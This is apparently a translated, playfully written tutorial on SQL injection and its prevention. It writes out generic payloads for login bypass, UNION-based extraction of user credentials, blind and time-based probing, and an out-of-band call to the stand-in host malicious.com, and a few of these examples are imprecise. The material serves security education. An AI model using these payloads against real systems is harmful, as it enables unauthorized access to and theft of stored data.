Вступ: Роман з небезпекою
Ах, бази даних! Листи кохання цифрового світу, що зберігають таємниці, спогади та конфіденційні шепоти. Але що, як я скажу, що деякі шанувальники занадто цікаві? Познайомтесь з SQL Injection, найкращим другом хакера, який вміє говорити всілякі приємні слова, але не приносить троянд, а приносить руйнування. Давайте розкриємо його трюки та навчимося розлучатися з ним до того, як буде занадто пізно.
Що таке SQL Injection?
SQL Injection (SQLi) — це вразливість, що дозволяє зловмисникам маніпулювати SQL-запитами. Інжектуючи зловмисні SQL-вирази, зловмисники можуть отримати приховані дані, змінити логіку бази даних або навіть отримати повний контроль над системою. Це схоже на те, як пошепки сказати правильні слова, щоб база даних видавала свої таємниці.
Типи SQL Injection:
- Класичний SQL Injection — напряму маніпулює SQL-запитами для отримання або зміни даних.
- Сліпий SQL Injection — не повертаються повідомлення про помилки, але зловмисник визначає результати на основі поведінки.
- Інжекція на основі часу — використовує затримки часу для підтвердження наявності вразливості.
- Інжекція через помилки — експлуатує повідомлення про помилки бази даних для отримання даних про її структуру.
- Інжекція на основі UNION — використовує оператор SQL UNION для отримання додаткових даних.
Як виявити вразливості SQL Injection
Виявлення SQLi потребує пильності. Ось кілька ознак:
- Несподівані помилки бази даних
- Дивна поведінка програми, коли вводяться спеціальні символи (наприклад, ‘ або “)
- Невідповідне отримання даних при різних введеннях
- Незвичне обхід автентифікації, навіть якщо введено неправильні облікові дані
- Різке зниження продуктивності через несанкціоновані запити
Інструменти, такі як Burp Suite, SQLmap та ручні методи тестування можуть допомогти виявити вразливості.
Отримання прихованих даних
Іноді погано написаний запит можна ввести так, щоб він розкрив дані, які не повинні бути доступні. Наприклад:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
Цей запит завжди буде давати результат true, надаючи зловмиснику несанкціонований доступ.
Зловмисники також можуть використовувати умови для отримання прихованих даних:
SELECT * FROM users WHERE id = 5 OR 1=1;
Цей запит поверне всі записи користувачів замість одного.
Порушення логіки програми
SQLi можна використовувати для зміни логіки програми. Наприклад, форму входу, яка очікує ім’я користувача та пароль, можна обійти таким чином:
' OR '1'='1' --
Це фактично перетворює процес автентифікації на відкриту запрошення.
Атаки SQL Injection з використанням UNION
Визначення необхідної кількості стовпців
Оператор UNION дозволяє зловмисникам комбінувати результати з різних таблиць. Але спочатку вони повинні знайти правильну кількість стовпців:
ORDER BY 1 --
ORDER BY 2 --
Якщо виникає помилка, це означає, що вказана кількість стовпців неправильна.
Пошук стовпців з корисними типами даних
Зловмисникам потрібно визначити стовпці, які приймають рядки або числові значення. Використовуючи:
UNION SELECT NULL, NULL, 'test', NULL --
Вони можуть визначити, які стовпці повертають корисні дані.
Використання SQL Injection UNION для отримання цікавих даних
Знаючи кількість та тип стовпців, зловмисники можуть отримати чутливі дані:
UNION SELECT username, password FROM users;
Отримання кількох значень в одному стовпці
Іноді зловмисникам потрібно більше, ніж одне значення з одного стовпця.
Конкатенація допомагає:
SELECT username || ' - ' || password FROM users;
Аналіз бази даних
Зловмисники часто хочуть дізнатися тип бази даних:
- MySQL:
SELECT version();
- PostgreSQL:
SELECT current_database();
- SQL Server:
SELECT @@version;
- Oracle:
SELECT * FROM v$version;
Сліпий SQL Injection
Експлуатація сліпого SQL Injection через умовні відповіді
Сліпий SQLi не повертає помилки, але може бути використаний з логічними запитами:
' OR (SELECT CASE WHEN (1=1) THEN 'true' ELSE 'false' END) --
SQL Injection на основі помилок
Іноді примусові помилки розкривають інформацію:
' AND (SELECT 1/0) --
Помилка ділення на нуль може розкрити деталі бази даних.
Експлуатація сліпого SQL Injection через затримки часу
Якщо помилки не відображаються, атаки на основі часу працюють:
' OR IF(1=1, SLEEP(5), 0) --
Якщо відповідь затримується, це означає наявність SQLi.
Експлуатація сліпого SQL Injection з використанням методів Out-of-Band (OAST)
Коли традиційні атаки не працюють, зловмисники використовують методи OAST, змушуючи базу даних надсилати запити на зовнішній сервер:
LOAD_FILE('http://malicious.com/script.txt')
SQL Injection в різних контекстах
SQL Injection другого порядку
Замість того щоб експлуатувати вразливість відразу, зловмисники зберігають payload, який виконується пізніше:
INSERT INTO comments (user_input) VALUES ('');
Коли це буде отримано пізніше:
SELECT * FROM comments WHERE text = '' OR '1'='1';
Як запобігти SQL Injection
1. Використовуйте підготовлені запити (параметризовані запити)
Уникайте конкатенації введених користувачем даних у SQL-запитах. Замість цього використовуйте:
SELECT * FROM users WHERE username = ? AND password = ?;
2. Використовуйте збережені процедури
Збережені процедури виконують заздалегідь визначені SQL-запити, зменшуючи пряме маніпулювання запитами.
3. Перевірка введених даних та екранування
Відхиляйте непередбачувані введення та екрануйте небезпечні символи.
4. Принцип найменших привілеїв
Обмежуйте дозволи бази даних для запобігання несанкціонованому доступу.
5. Веб-фаєрволи (WAF)
Встановлюйте WAF для виявлення та блокування спроб SQLi.
6. Регулярні перевірки безпеки
Часто тестуйте ваше застосування, використовуючи інструменти для тестування на проникнення, такі як SQLmap.
Висновок: Розрив з SQL Injection
SQL Injection може бути привабливим, але це токсичні стосунки. Впровадивши надійні заходи безпеки, ви можете забезпечити захист вашої бази даних від чужих очей. Тож давайте відкладемо SQLi та віддамо перевагу безпечному кодуванню!
Перекладено з: Title: The Seductive World of SQL Injection: A Love Story Gone Wrong